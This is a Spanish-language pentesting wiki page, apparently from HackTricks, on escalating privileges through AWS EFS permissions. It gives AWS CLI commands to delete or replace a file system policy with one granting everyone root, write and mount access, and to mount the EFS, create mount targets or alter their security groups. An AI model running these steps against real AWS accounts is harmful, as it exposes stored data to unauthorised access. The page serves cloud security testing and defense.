AWS - EFS Privesc

Support HackTricks

EFS

Más info sobre EFS en:

Recuerda que para montar un EFS necesitas estar en una subred donde el EFS esté expuesto y tener acceso a él (grupos de seguridad). Si esto está sucediendo, por defecto, siempre podrás montarlo, sin embargo, si está protegido por políticas de IAM, necesitas tener los permisos adicionales mencionados aquí para acceder a él.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Con cualquiera de esos permisos, un atacante puede cambiar la política del sistema de archivos para darte acceso a él, o simplemente eliminarlo para que se otorgue el acceso por defecto.

Para eliminar la política:

aws efs delete-file-system-policy \
--file-system-id <value>

Para cambiarlo:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Con este permiso, un atacante podrá montar el EFS. Si el permiso de escritura no se otorga por defecto a todos los que pueden montar el EFS, solo tendrá acceso de lectura.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Los permisos adicionales elasticfilesystem:ClientRootAccess y elasticfilesystem:ClientWrite se pueden usar para escribir dentro del sistema de archivos después de que esté montado y para acceder a ese sistema de archivos como root.

Impacto Potencial: Privesc indirecto al localizar información sensible en el sistema de archivos.

elasticfilesystem:CreateMountTarget

Si un atacante está dentro de una subred donde no existe un objetivo de montaje del EFS. Podría simplemente crear uno en su subred con este privilegio:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impacto Potencial: Privesc indirecto al localizar información sensible en el sistema de archivos.

elasticfilesystem:ModifyMountTargetSecurityGroups

En un escenario donde un atacante descubre que el EFS tiene un objetivo de montaje en su subred pero ningún grupo de seguridad permite el tráfico, podría simplemente cambiar eso modificando los grupos de seguridad seleccionados:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impacto Potencial: Privesc indirecto al localizar información sensible en el sistema de archivos.

Apoya a HackTricks

Last updated